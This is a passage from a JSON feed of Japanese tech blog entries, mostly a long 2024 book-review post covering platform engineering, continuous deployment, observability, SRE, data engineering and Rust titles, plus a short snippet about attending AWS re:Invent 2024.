Yasumoto","authorId":"atusy"},{"title":"AWS re:Invent 2024 へ行って来ました","link":"https://sreake.com/blog/aws-reinvent-2024/","contentSnippet":"スリーシェイクの山田です。 今回、Amazon Web Services (以下 AWS) が 12月 にラスベガスで開催した世界規模のカンファレンスである AWS re:Invent 2024 に現地参加してきたので、 […]The post AWS re:Invent 2024 へ行って来ました first appeared on sreake.com | 株式会社スリーシェイク.","isoDate":"2024-12-23T23:00:00.000Z","dateMiliSeconds":1734994800000,"authorName":"Sreake","authorId":"Sreake"},{"title":"2024年 俺が愛した本たち 技術書編","link":"https://syu-m-5151.hatenablog.com/entry/2024/12/23/174750","contentSnippet":"この記事は、3-shake Advent Calendar 2024 24日目のエントリ記事です。はじめにこんにちは、nwiizoです。2024年も残りわずかとなりました。年の瀬に差し掛かるこの時期、1年の歩みを振り返り、時の流れを見つめ直すことは、私にとって特別な意味を持っています。今年は特に、技術書との関わり方に大きな変化がありました。本を紹介する投稿する中で、技術書のみならず、さまざまな分野の書籍を読む機会が大幅に増えました。私の書斎は、いつの間にか技術書のデータセンターと化しました。サーバーラックの代わりに本棚が整然と並び、それぞれの棚には未読の本という名のサーバーがぎっしりと配置されています。これらの「サーバー」は、24時間365日、知識というバックグラウンドプロセスを静かに実行し続けています。既にメモリの使用率は常に100%ですが、まだ、クラッシュすることはありません。クラッシュしたら次の年はこの文章を読むことができません。特に今年は、技術書との向き合い方を見つめ直した1年でした。これまでのように「量」を追い求めるのではなく、一冊一冊を深く理解し、質を重視することに注力しました。技術書は単なる情報の集合体ではなく、先人たちの経験や洞察が凝縮された知恵の結晶です。その知恵を丁寧に咀嚼し、自分の中に取り込む過程が、エンジニアとしての成長に直結することを改めて実感しました。この記事では、2024年に私が出会い、心を揺さぶられた技術書たちを厳選してご紹介します。これらの書籍が、読者の皆様に新たな発見と学びをもたらすきっかけになれば幸いです。はじめに昨年以前に紹介した本2024年に読んでよかった技術書Platform Engineering on KubernetesPlatform EngineeringContinuous DeploymentCloud Observability in ActionLearning OpenTelemetryBecoming SREFundamentals of Data EngineeringTidy First?ソフトウェア開発現場の「失敗」集めてみた。42の失敗事例で学ぶチーム開発のうまい進めかたプログラミングRust 第2版Effective Rustバックエンドエンジニアを目指す人のためのRustReal World HTTP 第3版【改訂新版】システム障害対応の教科書GitHub CI/CD実践ガイドおわりに昨年以前に紹介した本syu-m-5151.hatenablog.comsyu-m-5151.hatenablog.comsyu-m-5151.hatenablog.comsyu-m-5151.hatenablog.com2024年に読んでよかった技術書今年も、私の知識データベースは絶え間なく更新され続けました。読書から得た知識は、ソフトウェアエンジニアとしての実務という名のプロダクション環境で厳密にテストされ、その成果は、いくつかの技術イベントでの登壇という形でデプロイされました。幸いにも、これまでクリティカルな障害が発生したことはありません。私の脳内APIは、多くの技術書から寄せられるリクエストを処理し続けています。レスポンスタイムは決して速いとは言えませんが、スループットは着実に向上しています。そして以下では、2024年に私の知識基盤に大きなアップデートをもたらした技術書を紹介します。これらの書籍は、私に新しい視点やスキルを与え、成長の助けとなりました。speakerdeck.comPlatform Engineering on Kubernetes「Platform Engineering on Kubernetes」は、クラウドネイティブ時代のプラットフォームエンジニアリングの本質と実践を包括的に解説した一冊です。本書は、単なるKubernetesの解説書を超えて、現代のソフトウェア開発組織が直面する課題とその解決策を体系的に示しています。Platform Engineering on Kubernetes (English Edition)作者:Salatino, MauricioManningAmazon本書の核心は、「なぜKubernetes上にプラットフォームを構築する必要があるのか」という根本的な問いに対する答えを提示している点です。著者は、複数のチームが関わり、複数のクラウドプロバイダーへのデプロイを行い、異なるスタックを扱う組織では、Kubernetesの導入だけでは不十分であることを説き、プラットフォームエンジニアリングによってこれらの課題を技術的・組織的に解決する方法を示しています。特に印象的なのは、プラットフォームチームと開発チームの協調に関する著者の洞察です。プラットフォームは単なる技術的な基盤ではなく、開発者の生産性を最大化し、ビジネス価値の迅速な提供を可能にする戦略的な資産として位置づけられています。これは、DevOpsの理想をクラウドネイティブ時代に実現するための具体的なアプローチと言えます。本書は、概念的な解説に留まらず、実践的なステップバイステップのガイドも提供しています。カンファレンスアプリケーションというサンプルを通じて、プラットフォームの設計から実装、運用までを一貫して学ぶことができます。これにより、読者は理論と実践の両面から、プラットフォームエンジニアリングの本質を理解できます。また、本書はCrossplane、ArgoCD、Dapr、OpenFeatureなど、現代のクラウドネイティブツールの活用法も詳しく解説しています。これらのツールを適切に組み合わせることで、開発者体験の向上とインフラストラクチャの効率化を両立できることが示されています。この本を読み進める中で、プラットフォームエンジニアリングが単なる技術的な取り組みを超えて、組織全体のデジタルトランスフォーメーションを推進する原動力となり得ることを実感しました。著者の提示する知見は、エンジニアリング組織の次なるステージを考える上で、貴重な指針となるでしょう。「Platform Engineering on Kubernetes」では、プラットフォームエンジニアリングの技術的側面について深く解説されています。しかし、内部開発者向けのプラットフォームも一つのプロダクトとして捉え、その価値提供を最適化していく視点も重要です。そこで、以下の書籍との併読をお勧めします。プロダクトマネジメントのすべて 事業戦略・IT開発・UXデザイン・マーケティングからチーム・組織運営まで作者:及川 卓也,小城 久美子,曽根原 春樹翔泳社Amazon「プロダクトマネジメントのすべて」は、プロダクトの企画から運用、改善までを包括的に解説した決定版です。本書を通じて、プラットフォームを一つのプロダクトとして捉え、ユーザーである開発者の体験を最適化していくための方法論を学ぶことができます。さらに、プラットフォームチームがどのようにステークホルダーと協働し、組織全体の価値を最大化していくかについても、実践的な知見を得ることができます。両書を組み合わせることで、技術とプロダクトマネジメントの両面から、より効果的なプラットフォームエンジニアリングの実践が可能になるでしょう。Platform Engineering「Platform Engineering: A Guide for Technical, Product, and People Leaders」は、現場での実践知を出発点として、プラットフォームエンジニアリングの本質に迫る実践的なガイドです。技術リーダーから上級管理職まで向けた幅広い読者層に向けて書かれており、個人的にはもう少しだけ広げて開発者やプラットフォームを実際に使う側も読んでも学びのある本だと感じました。Platform Engineering: A Guide for Technical, Product, and People Leaders (English Edition)作者:Fournier, Camille,Nowland, IanO\'Reilly MediaAmazon「Platform Engineering on Kubernetes」がKubernetesを基盤とした技術的な実装と運用に重点を置いているのに対し、本書はプラットフォームエンジニアリングをより広い文脈で捉え、組織的・人的側面にも深く踏み込んでいます。例えば、プラットフォームチームの組織的な位置づけ、ステークホルダーとの関係構築、プラットフォーム提供者と利用者の協力関係の構築など、「Platform Engineering on Kubernetes」では詳しく触れられていない領域をカバーしています。特に注目すべきは、本書がプラットフォームの成功を技術的な完成度だけでなく、組織全体への価値提供という観点から評価している点です。プラットフォームの採用を促進し、持続可能な運用を実現するためには、技術的な卓越性に加えて、組織的な課題への対応も重要であることを説いています。そのため、両書を併読することで、技術的な実装から組織的な展開まで、プラットフォームエンジニアリングの全体像を把握することができます。本書を読む前に、「Team Topologies」を一読することを強くお勧めします。「Team Topologies」は、現代のソフトウェア開発組織における効果的なチーム構造とその相互作用のパターンを提示しており、プラットフォームチームの位置づけや役割を理解する上で不可欠な知見を提供してくれます。この基礎的な理解があることで、本書で展開されるプラットフォームエンジニアリングの実践論をより深く理解することができます。チームトポロジー 価値あるソフトウェアをすばやく届ける適応型組織設計作者:マシュー・スケルトン,マニュエル・パイス日本能率協会マネジメントセンターAmazon著者の豊富な経験が凝縮された本書は、単なる表面的な手法の模倣ではなく、実際の現場での試行錯誤から導き出されたプラクティス、そしてその背後にある根本的な原理と思想を探求しています。それが現代のソフトウェア開発組織においていかに革新的な価値を生み出すかを浮き彫りにしている点が特徴的です。本書の真価は、プラットフォームエンジニアリングを単なる技術的な手法の集合としてではなく、日々の実践から得られた知見を体系化し、組織の進化と持続的な成長を促す戦略的な思考基盤として捉えている点にあります。技術的な実装の詳細よりも、組織が現場の文脈に根ざした実践を重ね、そこからプラクティスを抽出し、最終的にプラットフォームエンジニアリングの本質的な原則を理解して創造的に応用していく方法論に重点が置かれています。技術的な側面、特にCloud Nativeな実装に興味がある方には、「Platform Engineering on Kubernetes」がおすすめです。こちらの書籍では、Kubernetesを基盤としたプラットフォームエンジニアリングの実践的なアプローチが詳細に解説されています。両書を併読することで、プラットフォームエンジニアリングの組織的側面と技術的側面の両方を深く理解することができ、より包括的な知識を得ることができるでしょう。本書は、プラットフォームエンジニアリングの現場で直面する本質的な難しさを率直に語っています。具体的には、「技術的に面白いから作る」のではなく現場で真に必要とされるものを見極めて提供するという価値提供の本質、計画の難しさを認識しつつも現場の文脈に応じて適切に実行するという実践知、そして組織の重要なシステムを支える責任を全うするための運用の成熟という現場力の醸成といった課題を挙げています。これらの課題に対して、本書は原則に基づきながらも現場の実態に即した解決の道筋を示しています。最後に、読者として強く感じたのは、プラットフォームエンジニアリングが単なる技術的な課題ではなく、組織的な取り組みとして捉える必要があるという点です。特に、チームの持続可能性とユーザー満足度の両立という観点から、著者の提案する実践的なアプローチは非常に価値があります。本書で提示されているプラクティスは、理想的ではありますが現実的な目標として設定されており、段階的な改善のためのロードマップとしても機能します。特に重要なのは、組織の規模や成熟度に応じて適切なアプローチを選択し、継続的に改善を進めていく姿勢だと考えています。Continuous Deployment「Continuous Deployment: Enable Faster Feedback, Safer Releases, and More Reliable Software 」は、継続的デプロイメントの実践に焦点を当てた包括的なガイドです。継続的デプロイメントは、ソフトウェアパイプラインを完全に自動化し、手動介入を必要としない手法です。この方法により、クオリティーゲートを通過したすべてのコードコミットが自動的に本番環境にデプロイされます。Continuous Deployment: Enable Faster Feedback, Safer Releases, and More Reliable Software (English Edition)作者:Servile, ValentinaO\'Reilly MediaAmazon本書の理解をより深めるためには、「Grokking Continuous Delivery」との併読をお勧めします。この本は、継続的デリバリーの基本概念から実践的な実装まで、体系的に解説しています。特に、継続的デプロイメントへの段階的な移行プロセスや、組織文化の変革について、実践的な知見を提供してくれます。両書を読み進めることで、継続的デプロイメントの技術的側面と組織的側面の両方を包括的に理解することができます。Grokking Continuous Delivery (English Edition)作者:Wilson, ChristieManningAmazonこちらの本は日本語版がリリースされています。入門 継続的デリバリー ―テストからリリースまでを安全に自動化するソフトウェアデリバリーのプロセス作者:Christie Wilsonオーム社Amazon本書は、単なる技術的な実装の解説に留まらず、プラットフォームエンジニアリングと開発プロセス全体を変革する可能性について深く掘り下げています。特に、フィーチャーフラグ、カナリーリリース、A/Bテストなどの重要な概念と、それらの実践的な適用方法について詳細な洞察を提供しています。継続的デプロイメントの価値は、ソフトウェア開発の特性と人間の性質を理解することで明確になります。人間は反復作業を得意としませんが、コンピューターシステムはこの種の作業に適しています。継続的デプロイメントは、人間と機械の特性の違いを活かし、相互補完的に活用します。コード変更から本番環境へのデプロイまでを完全に自動化することで、開発者は創造的な問題解決に注力でき、反復的なタスクはシステムに任せることができます。結果として、ソフトウェア開発プロセス全体の効率が向上し、人的ミスのリスクも減少します。本書は、技術的側面だけでなく、組織文化やチーム間の協力体制についても掘り下げています。また、継続的デプロイメントがもたらすソフトウェアのリリースサイクルの短縮や、ユーザーへのフィードバックループの最小化についても解説しています。同時に、コードの品質管理やテスト戦略により高い要求を課すことの重要性も強調しています。強固な自動テスト、モニタリング、迅速なロールバック機能など、継続的デプロイメントを成功させるために不可欠な安全策についても説明しています。実践的な見地からも、本書は開発者が直面する現実的な課題に対する具体的な解決策を提供しています。各章は理論的な基礎から始まり、実際の適用例、そして起こりうる問題とその対処法まで、包括的に解説しています。特に、実際の組織がどのように継続的デプロイメントを導入し、成功を収めているかについての事例研究は、実務に直接活かせる貴重な知見となっています。本書を通じて、継続的デプロイメントが単なる技術的なツールではなく、組織全体の開発文化を変革し、ソフトウェア品質を向上させるための包括的なアプローチであることが理解できます。その実践は、開発効率の向上、リリース品質の改善、そして最終的には顧客満足度の向上につながります。Cloud Observability in Action「Cloud Observability in Action」は、クラウドネイティブ時代におけるオブザーバビリティの概念と実践方法を包括的に解説した一冊です。オブザーバビリティを投資対効果の観点から捉え、データの生成から収集、処理、可視化に至るまでのプロセス全体を俯瞰します。これは、神の視点でシステムを観察できるようになる、デジタル世界の第三の目を手に入れるようなものです。Cloud Observability in Action (English Edition)作者:Hausenblas, MichaelManningAmazonOpenTelemetry、Prometheus、Grafana、Loki、Jaegerなどのオープンソースツールを活用し、誰でも実践的な知見を時間以外の費用をかけずに得られるよう工夫されています。まるで高級な料理のレシピを、コンビニの食材だけで再現する魔法のような本です。著者の豊富な経験に基づくベストプラクティスが随所に盛り込まれ、参考URLも惜しみなく共有されています。システムの監視方法について、何百人もの先人たちが積み上げてきた叡智を一冊に凝縮したような贅沢な内容です。単なるツールの使い方の解説にとどまらず、オブザーバビリティを組織文化として定着させるためのヒントも提供されています。つまり、「システムの見える化」という名の文化革命の指南書とも言えるでしょう。本書を通じて、システムの内部状態を把握・推論する力を身につけることができます。これは、デジタルの迷宮で道に迷った開発者たちに、アリアドネの糸を提供するようなものです。得られた知見をどのように活用するかは読者次第ですが、システムと組織の継続的な進化を支える原動力として、オブザーバビリティを正しく理解し実践することができます。少なくとも、「エラーログを検索すれば何とかなる」という幻想から解放されることは間違いありません。本書は、複雑化するシステムの「見える化」を実現するための、実践的なガイドブックです。これを読まずにオブザーバビリティを始めるのは、暗闇の中でパズルを解こうとするようなものかもしれません。本稿では、各章の要点を丁寧に読み解きながら、私なりの学びと気づきをシェアしていきます。皆様にとっても、オブザーバビリティへの理解を深め、その実践への一歩を踏み出すきっかけとなれば幸いです。Learning OpenTelemetry「Learning OpenTelemetry」は、可観測性という広大な領域に対する実践的な航海図といえます。本書の最も重要な貢献は、OpenTelemetryというテクノロジーを通じて、システムの可観測性をビジネス価値へと変換する具体的な方法論を提示している点です。Learning OpenTelemetry: Setting Up and Operating a Modern Observability System (English Edition)作者:Young, Ted,Parker, AustinO\'Reilly MediaAmazon本書を読む際は、オブザーバビリティに関する以下の2冊との併読をお勧めします。まず「Observability Engineering」は、可観測性の基本概念から実践的な実装まで、より広い文脈で解説しています。特に、OpenTelemetryを含む様々な可観測性ツールの位置づけや、組織における可観測性の文化醸成について、包括的な視点を提供してくれます。両書を読み進めることで、技術的な実装の詳細と、より大きな戦略的文脈の両方を理解することができます。Observability Engineering: Achieving Production Excellence (English Edition)作者:Majors, Charity,Fong-Jones, Liz,Miranda, GeorgeO\'Reilly MediaAmazonまた、「入門 監視」は、システム監視の基礎から応用まで、実践的な知見を提供してくれます。監視とオブザーバビリティの関係性、メトリクスの収集と分析、アラートの設計など、日々の運用に直結する知識を学ぶことができます。入門 監視 ―モダンなモニタリングのためのデザインパターン作者:Mike JulianオライリージャパンAmazon本書の特筆すべき点は、技術的深度、組織的展開、ビジネス価値という3つの視点を統合的に扱っていることです。技術面では、OpenTelemetryの内部アーキテクチャから実装の詳細まで、体系的な解説を提供しています。特に、トレース、メトリクス、ログの統合方法や、テレメトリパイプラインの設計については、実務で即座に活用できる具体的な知見が豊富です。組織面では、可観測性の導入を単なる技術導入ではなく、組織変革として捉える視点を提供しています。特に、Deep対Wide、Code対Collection、Centralized対Decentralizedという3つの軸に基づく展開戦略は、組織の規模や成熟度に応じた柔軟なアプローチを可能にします。ビジネス面では、テレメトリデータを通じてビジネスの意思決定や改善につなげていく方法について、具体的な指針を示しています。私が実務を通じて特に共感したのは、本書の掲げる「Do no harm, break no alerts」という原則です。可観測性の向上は、既存のシステムや運用プロセスを破壊することなく、段階的に実現していくべきだという主張は、現場の実態に即した賢明なアプローチだと感じます。本書の構成も実践的です。各章は理論的な基礎から始まり、実装の詳細、そして運用上の考慮点へと展開されていきます。特に、各章末のケーススタディやベストプラクティスは、他組織の経験から学ぶ貴重な機会を提供してくれます。最後に、本書の結論部分で言及されている「可観測性の次のフロンティア」についても注目に値します。AIとの統合やテストとしての可観測性など、新しい可能性の提示は、この分野の今後の発展を考える上で重要な示唆を与えてくれます。OpenTelemetryの導入を検討している組織にとって、本書は単なる技術解説書以上の価値を持つ戦略的なガイドブックとなるでしょう。また、すでにOpenTelemetryを導入している組織にとっても、その活用方法を再考し、より高度な可観測性を実現するための有益な指針となることは間違いありません。こちらの本は日本語版がリリースされています。入門 OpenTelemetry ―現代的なオブザーバビリティシステムの構築と運用作者:Ted Young,Austin ParkerオライリージャパンAmazonBecoming SRE「Becoming SRE」は、SRE(Site Reliability Engineering)という職種に対する深い理解と実践的な洞察を提供する画期的な一冊です。本書は、個人がSREとしてのキャリアを築くための道筋と、組織がSREを導入・発展させるための戦略を包括的に解説しています。Becoming SRE: First Steps Toward Reliability for You and Your Organization (English Edition)作者:Blank-Edelman, David N.O\'Reilly MediaAmazonSREに関する書籍は数多く出版されていますが、本書の特筆すべき点は、その実践に基づいた具体性と実用性にあります。特に、他のSRE関連書籍が理論や理想的なプラクティスの解説に重点を置く傾向がある中、本書は現場で直面する現実的な課題とその解決策に焦点を当てています。例えば、Googleが提唱したSREの原則やプラクティスを、規模や成熟度の異なる組織でどのように適用していくかについて、具体的なステップとアプローチを示しています。また、SREとしてのキャリアパスや、組織内でのSRE文化の醸成方法など、実務者の視点に立った実践的なアドバイスが豊富に盛り込まれています。syu-m-5151.hatenablog.com本書の価値は、SREという職種を単なる技術的な役割としてではなく、組織の文化や価値観を形作る存在として捉えている点にあります。著者のDavid Blank-Edelman氏は、長年のSREとしての経験を基に、技術とビジネスの両面からSREの本質に迫っています。本書は3つのパートで構成されています。Part Iでは、SREの基本的な概念、文化、そしてマインドセットについて解説しています。特に注目すべきは、SREが目指すべき「適切な信頼性レベル」という考え方です。100%の信頼性を追求するのではなく、ビジネスの要求と照らし合わせながら、最適な信頼性レベルを見極めることの重要性が説かれています。Part IIは、個人がSREになるための具体的なステップを示しています。技術的なスキルセットはもちろん、コミュニケーション能力、問題解決力、そして失敗から学ぶ姿勢など、SREに求められる多面的な資質について詳細に解説されています。特筆すべきは、オンコール対応やインシデント管理といった実務的なトピックについても、豊富な事例とともに具体的なアドバイスが提供されている点です。Part IIIでは、組織としてSREを導入・発展させるための戦略が展開されています。SREの成功は、個々のエンジニアの努力だけでなく、組織全体のサポートと理解が不可欠だという著者の主張は説得力があります。特に興味深いのは、SREの組織的な成熟度を5つのステージで捉えるフレームワークです。各ステージの特徴と課題、そして次のステージへの移行に必要な施策が具体的に示されています。本書が特に強調しているのは、SREにおける「文化」の重要性です。モニタリング、自動化、インシデント対応といった技術的な実践も重要ですが、それらを支える組織文化がなければ、SREは真の力を発揮できません。データ駆動の意思決定、失敗から学ぶ姿勢、部門間の協働、これらの文化的要素をどのように育んでいくかについても、深い洞察が示されています。また、本書はSREの導入と成長における現実的な課題にも正面から向き合っています。技術的な障壁はもちろん、組織の抵抗、リソースの制約、文化の変革の難しさなど、SREが直面する様々な課題に対する具体的な対処法が提示されています。総じて本書は、SREを目指す個人にとってのキャリアガイドであると同時に、組織にとってのSRE導入・発展のロードマップとして機能する実践的な指南書です。著者の豊富な経験に基づくアドバイスは、SREという未知の領域に踏み出そうとする読者にとって、信頼できる道標となるはずです。こちらの本も日本語版がリリースされています。SREをはじめよう ―個人と組織による信頼性獲得への第一歩作者:David N. Blank-EdelmanオライリージャパンAmazonFundamentals of Data Engineering「Fundamentals of Data Engineering」は、データエンジニアリングの基礎から実践までを体系的に解説した包括的な一冊です。データエンジニアリングを「raw dataを取り込み、高品質で一貫性のある情報を生成するシステムとプロセスの開発、実装、維持」と定義し、その全容を詳細に説明しています。Fundamentals of Data Engineering: Plan and Build Robust Data Systems (English Edition)作者:Reis, Joe,Housley, MattO\'Reilly MediaAmazon本書は4つのパートで構成されており、Part Iではデータエンジニアリングの基礎と構成要素、Part IIではデータエンジニアリングのライフサイクルの詳細、Part IIIではセキュリティとプライバシー、そして将来の展望を扱っています。特に、データ生成からストレージ、取り込み、変換、提供までの一連のライフサイクルについて、実践的な知見が豊富に盛り込まれています。著者たちは、特定のツールや技術に依存しない原則ベースのアプローチを採用しています。これにより、急速に変化するデータ技術の世界においても、長く有効な知識を提供することに成功しています。データエンジニアは、セキュリティ、データ管理、DataOps、データアーキテクチャ、オーケストレーション、ソフトウェアエンジニアリングの交差点に位置し、これらの要素を統合的に理解し活用する必要があることが強調されています。本書の特筆すべき点は、理論と実践のバランスが絶妙なことです。データエンジニアリングの基本原則を解説しながら、実際のシステム設計や運用における具体的な課題とその解決策も提示しています。また、クラウドファーストの時代におけるデータエンジニアリングの在り方についても深い洞察が示されています。セキュリティとプライバシーに関する章では、データエンジニアリングにおけるセキュリティの重要性と、具体的な実装方法が詳細に解説されています。GDPRなどの規制への対応や、データの匿名化、アクセス制御など、現代のデータエンジニアが直面する重要な課題がカバーされています。最後に、データエンジニアリングの将来に関する章では、業界の動向と今後の展望が示されています。クラウドスケールの「データOS」の出現や、リアルタイムデータ処理と機械学習の融合など、興味深い予測が述べられています。本書は、データエンジニアリングの世界で活躍したい技術者にとって、必携の一冊となるでしょう。体系的な知識の習得と実践的なスキルの向上に大いに役立つ内容となっています。こちらの本も日本語版がリリースされています。データエンジニアリングの基礎 ―データプロジェクトで失敗しないために作者:Joe Reis,Matt HousleyオライリージャパンAmazonTidy First?「Tidy First?」は、エクストリームプログラミングの考案者であり、ソフトウェアパターンの先駆者として知られるKent Beckによる、コードの整理整頓に関する画期的な一冊です。本書は、リファクタリングの新しい考え方として「Tidying(整理整頓)」という概念を提唱し、その実践的なアプローチを示しています。Tidy First?: A Personal Exercise in Empirical Software Design (English Edition)作者:Beck, KentO\'Reilly MediaAmazonリファクタリングといえば「リファクタリング 既存のコードを安全に改善する」や「レガシーコードからの脱却」ですがこのリファクタリングの考え方をより小規模で実践的なアプローチへと発展させたものと言えるでしょう。リファクタリング 既存のコードを安全に改善する(第2版)作者:MartinFowlerオーム社Amazonレガシーコードからの脱却 ―ソフトウェアの寿命を延ばし価値を高める9つのプラクティス作者:David Scott BernsteinオライリージャパンAmazon本書の核心は、「いつ、どこで、どのようにコードを整理するべきか」という実践的な問いに対する答えを提示している点です。特に注目すべきは、Tidyingをリファクタリングの部分集合として位置づけ、より小規模で安全な改善活動として定義している点です。本書は3つのパートで構成されています。Part 1: Tydingsでは、具体的な整理整頓の手法が示されています。変数名の調整や対称性の確保、不要なコードの削除など、小規模だが効果的な改善活動が詳しく解説されています。これらは、ボーイスカウトの原則(来たときよりも美しく)とも通じる考え方です。Part 2: Managingでは、Tidyingの実践的なマネジメントについて解説されています。特に重要なのは、機能開発の直前にTidyingを行うべきという提言です。これは、料理をする前にキッチンを整理整頓するのと同じように、本題に取り組む前に作業環境を整えることの重要性を示唆しています。また、Tidyingは1時間以内に完了できる規模に抑えるべきという具体的な指針も示されています。Part 3: Theoryでは、Tidyingの理論的な基盤が展開されています。特筆すべきは、経済的な観点からの分析です。NPV(正味現在価値)やオプション理論を用いて、Tidyingの投資対効果を説明しています。また、疎結合と高凝集というソフトウェアアーキテクチャの基本原則との関連も論じられています。また、ソフトウェア設計の基本原則をより深く理解するために、以下の2冊との併読をお勧めします。「Balancing Coupling in Software Design」は、システムの結合度に焦点を当て、モジュール性と複雑性のバランスを取るための実践的なガイドを提供しています。特に、結合度を単なる「悪いもの」としてではなく、システム設計における重要なツールとして捉え直す視点は、Tidyingの経済的価値の考え方と共鳴します。Balancing Coupling in Software Design: Universal Design Principles for Architecting Modular Software Systems (Addison-Wesley Signature Series (Vernon)) (English Edition)作者:Khononov, VladAddison-Wesley ProfessionalAmazonさらに、「A Philosophy of Software Design, 2nd Edition」は、ソフトウェア設計における複雑性の管理について、より哲学的な視点から考察を展開しています。この本は、モジュール分割の原則やインターフェース設計の考え方など、Tidyingの実践を支える理論的な基盤を補完してくれます。A Philosophy of Software Design, 2nd Edition (English Edition)作者:Ousterhout, John K. Amazon本書の真価は、コードの整理整頓を、技術的な活動としてだけでなく、経済的な投資活動として捉える視点を提供している点です。これは、技術的な改善活動の必要性を経営層に説明する際の有効な理論的基盤となります。また、本書は3部作の第1巻として位置づけられており、個人、チーム、組織のレベルでの開発プラクティスを包括的に扱う野心的なプロジェクトの出発点となっています。私にとって、本書は技術的負債の管理に関する新しい視点を提供してくれました。特に、小規模な改善活動を継続的に行うことの重要性と、その活動の経済的な価値を理解する上で、貴重な指針となっています。本書で提唱されているTidyingの概念は、現代のソフトウェア開発における持続可能性の向上に大きく貢献する可能性を秘めています。技術的な改善と経済的な価値創造の両立を目指す実践的なアプローチとして、多くの開発者にとって有益な知見となるでしょう。こちらの本も日本語版がリリースされます。読んでないのですが定評のある翻訳者陣が担当しており、高品質な翻訳が期待できます。Tidy First? ―個人で実践する経験主義的ソフトウェア設計作者:Kent Beckオーム社Amazonソフトウェア開発現場の「失敗」集めてみた。42の失敗事例で学ぶチーム開発のうまい進めかた「ソフトウェア開発現場の「失敗」集めてみた」は、開発現場でありがちな失敗を42の事例としてまとめ上げた、笑いと教訓が詰まった一冊です。本書の特徴は、各エピソードを4コマ漫画付きで紹介しながら、その失敗から学べる教訓と対策を実践的に解説している点にあります。ソフトウェア開発現場の「失敗」集めてみた。 42の失敗事例で学ぶチーム開発のうまい進めかた作者:出石 聡史翔泳社Amazon本書の真髄は、「失敗」を単なる戒めとしてではなく、成長のための貴重な学びの機会として提示している点です。例えば、「全部入りソフトウェア」や「八方美人仕様」といった事例は、読んでいて思わず苦笑してしまうものの、自分の過去や現在の案件と重ね合わせると背筋が凍るような リアルな内容となっています。特に印象的なのは、各失敗事例が企画、仕様、設計・実装、進捗管理、品質管理、リリース後という開発工程に沿って整理されている点です。これにより、どの段階でどのような落とし穴が待ち構えているのかを、体系的に理解することができます。本書の構成は非常に巧みです。各エピソードは、まず4コマ漫画で状況を分かりやすく説明し、続いて失敗の詳細な解説へと進みます。そして、なぜその失敗が起きるのかという原因分析を行い、最後にどうすれば防げるのかという具体的な対策を示すという流れで展開され、読者を笑いながら学びへと導いていきます。時には「あるある...」と共感し、時には「まさか自分も...」と冷や汗をかきながら、気づけば実践的な対策を学んでいられるという、絶妙な構成となっています。本書を読み進めていく中で、開発現場で日々直面する可能性のある様々な失敗のパターンが、読者の経験と重なりながら鮮やかに描き出されていきます。それぞれの事例は、読者が「ああ、これは...」と思わず身につまされるような、リアルな状況として描かれています。ここで思い出したのが、「達人プログラマー 第2版」です。この本もまた、ソフトウェア開発における失敗と成功の本質を深く掘り下げています。両書に共通するのは、失敗を恐れるのではなく、そこから学び、次につなげていく姿勢です。「達人プログラマー」が開発者としての哲学や普遍的な原則を説くのに対し、この本は現場での具体的な失敗事例とその対策に焦点を当てており、互いに補完し合う関係にあると言えるでしょう。達人プログラマー ―熟達に向けたあなたの旅― 第2版作者:David Thomas,Andrew Huntオーム社Amazon本書の真価は、これらの失敗を「笑い」というクッションを通して提示することで、読者が防衛本能を働かせることなく、客観的に問題を理解し、解決策を考えられるようにしている点です。また、各事例に対する具体的な対策は、実務ですぐに活用できる実践的なものとなっています。私自身、本書を読みながら何度も「あ、これ...」と苦笑いしましたが、同時に「明日からこうしよう」という具体的なアクションプランも得ることができました。特に、チームリーダーやプロジェクトマネージャーにとって、この本は「失敗」という観点からプロジェクトを見直す貴重な機会を提供してくれます。本書は、開発現場の失敗から学ぶという姿勢を大切にしながら、その教訓を次の成功へとつなげていく道筋を示してくれる良書です。時には笑い、時には考え込み、そして明日からの行動を変えていく—そんな良い意味での「反省の書」といえるでしょう。プログラミングRust 第2版「プログラミングRust 第2版」は、Rustという言語の深い理解を導く羅針盤のような一冊です。本書は、システムプログラミングの本質に迫りながら、現代的な言語機能を体系的に解説するという野心的な試みに成功しています。プログラミングRust 第2版作者:Jim Blandy,Jason Orendorff,Leonora F. S. TindallオライリージャパンAmazonこの本の特筆すべき点は、Rustの重要な概念を段階的に、かつ包括的に解説していることです。特に所有権とライフタイム、並行処理といったRustの特徴的な機能について、理論的な説明と実践的な例を絶妙なバランスで提供しています。これは、まるで高度な技術文書をコンパイラが最適化するように、複雑な概念を理解しやすい形に変換してくれる働きがあります。本書の構成は、基本的な言語機能から始まり、徐々により高度なトピックへと展開していきます。例えば、非同期プログラミングやトレイト、ジェネリクス、マクロなど、モダンなRustの重要な機能が詳細に解説されています。これは、読者の理解度を段階的にスケールアップさせていく、よく設計されたアーキテクチャのようです。特に印象的なのは、本書がパフォーマンスとメモリ安全性を両立させるためのRustの機能を、システムプログラマの視点から丁寧に解き明かしている点です。これは、高可用性システムの設計原則にも通じる、信頼性とパフォーマンスのトレードオフを実践的に学べる貴重な機会を提供しています。また、本書は2021年のRust Editionに対応しており、最新の言語機能や実践的なプログラミング手法が網羅されています。これは、まるで継続的デリバリーのパイプラインのように、最新の知識を読者に届けてくれます。実務的な観点からも、本書の価値は計り知れません。エラーハンドリング、テスト、デバッグといった実践的なトピックについても、深い洞察と具体的な実装例を提供しています。これらの知識は、本番環境でのRustプログラミングにおいて、インシデントを防ぎ、安定性を確保するための重要な基盤となります。本書は、単なる言語仕様の解説書を超えて、システムプログラミングの本質に迫る良書といえます。その内容は、Rustを学ぶ開発者にとって、強固な基盤となるインフラストラクチャを提供してくれることでしょう。私にとって、本書は技術書のデータセンターの中核を担うサーバーとして機能しています。新しい機能や概念に出会うたびに、本書に立ち返り、その本質的な理解を深めることができます。2025年に予定されているRust 2024 Editionのリリースに向けて、本書の次版がどのように進化していくのか、今から楽しみでなりません。Programming Rust: Fast, Safe Systems Development (English Edition)作者:Blandy, Jim,Orendorff, Jason,Tindall, Leonora F. S.O\'ReillyAmazonEffective Rust「Effective Rust」は、Rustのコンパイラが発する警告やエラーの深い理由を解き明かしてくれる、暗号解読書のような一冊です。本書は、単なる文法やパターンの解説を超えて、Rustの設計思想とその根底にある原理を探求することで、より深い理解と実践的なスキルの獲得を可能にします。Effective Rust: 35 Specific Ways to Improve Your Rust Code (English Edition)作者:Drysdale, DavidO\'Reilly 